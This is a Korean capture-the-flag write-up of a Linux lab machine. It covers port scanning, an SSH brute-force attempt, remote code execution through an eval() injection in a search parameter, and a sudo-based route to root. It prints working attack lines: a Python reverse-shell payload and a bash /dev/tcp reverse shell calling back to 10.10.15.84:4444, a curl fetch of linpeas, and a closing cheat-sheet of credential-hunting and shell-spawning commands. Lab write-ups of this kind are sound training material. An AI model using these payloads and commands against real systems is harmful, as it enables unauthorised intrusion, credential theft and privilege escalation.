• nmap 구동

  • 22, 80 포트 오픈을 확인
  • 22 포트 오픈에 대하여 linux 계열임을 확인하였고, 아마 안되겠지만 브루트포싱을 시도해본다 ; hydra 툴을 사용하였고, -vV 옵션을 통해 실시간 로그를 확인한다

  • 80포트면, 웹을 보는게 맞다

  • nmap 결과에서, did not follow redirect로 되어있어서, /etc/hosts에 IP/도메인을 매핑하였다

  • 접속 후 확인 했을 때, 검색엔진을 선택하고 키워드를 작성하여 보내면, query 파라미터에 해당 키워드가 적재된다

  • 힌트 발견

  • eval() 메소드 파라미터 검증 미흡으로 인한 RCE 가능함을 확인하였다

eval()해당 취약점은 검색 기능에서 사용자가 제공하는 'query' 매개변수를 사용하는 방식에서 직접적으로 비롯되었습니다
process. 커밋 차이점을 살펴보면 취약한 코드는 다음과 같습니다. 
`url = eval(f"Engine.{engine}.search('{query}', ...)")` 
이 코드는 사용자 입력을 파이썬 코드로 평가하는 문자열을 생성합니다.
공격자는 문자열 컨텍스트를 벗어나 'query' 매개변수에 악성 페이로드를 삽입하여 임의의 명령을 실행할 수 있었습니다
패치는 해당 코드를 eval()직접 Engine`[engine]. search()` 호출로 대체하여 코드 평가를 제거했습니다
payload : ', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.15.84',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

tip : 리버스쉘로 인해 정식 pty가 아닌 경우
python3 -c 'import pty;pty.spawn("/bin/bash")'
사용하여 터미널 획득
단, 패스워드 필요함
  • 내 칼리에서 서버를 올려 린피스를 던져놓았다

curl -O http://10.10.15.84:1224/linpeas.sh

  • app 하위에서 .git 파일을 찾았고 config 파일 내 계정 정보 획득

tip
sudo -l에서 허용된 명령어는 정확히 그 경로 그대로 써야 root로 실행됨
만약, python3이 있다 해서
내가 python3으로 구동하면 그건 X svc 권한임
따라서, sudo ~~/~~/.py 로 구동

echo '#!/bin/bash' > full-checkup.sh
echo 'bash -i >& /dev/tcp/10.10.15.84/4444 0>&1' >> full-checkup.sh
chmod +x full-checkup.sh
cat full-checkup.sh
 
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
 

마치며,,

오랜만에 리눅스 머신을 풀어서 그냥 감이 하나도 안왔다 22포트가 열려있어서 hydra를 사용한 bf 공격도 해보려는 생각이 들었고(사실 무쓸모, 그냥 해봄) 80포트가 열려있다는 것은 웹을 통해 들어가라는 것이고 웹에서 CVE가 존재하여 RCE를 시도하였다 과정에서 잘 안됐지만 일단 어찌저찌 성공은 했었다

이후 권한상승을 해야 하는데, 감이 안와서, linpeas를 돌렸다 linpeas를 돌렸음에도 사실 뭐,, 정보가 너무 많아서 캐치하지 못했다 (다시 봐도 못찾겄네 ㅎㅎ)

linux escalation은 무조건,, sudo -l !

full-checkup은 system-checkup.py 와 같은 경로에 있었고, 같은 경로에 있는 애를 참조 하는 것으로 보아, 실행을 /tmp에서 수행 , full-chekcup을 임의 리버스셀로 따두고, 그걸 참조해서 셀이 따지게끔 루트를 곁들인

기억하자

  • PTY 업그레이드 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

  • 내부포트확인 ss -tlnp # 외부에서 안 보이는 서비스 확인

  • ENUM LIST

  1. whoami / id
  2. sudo -l
  3. ls -la (숨김파일)
  4. ss -tlnp (내부 포트)
  5. find / -name “.env” 2>/dev/null
  6. cat ~/.bash_history
  7. linpeas
  • 파일 작성 쉽고 간단한 방법 echo ’#!/bin/bash’ > shell.sh echo ‘bash -i >& /dev/tcp/IP/PORT 0>&1’ >> shell.sh chmod +x shell.sh

  • credential 탐색 grep -r “password” /var/www/ 2>/dev/null find / -name “.git” 2>/dev/null

  • sudo password pipe echo “PASSWORD” | sudo -S -l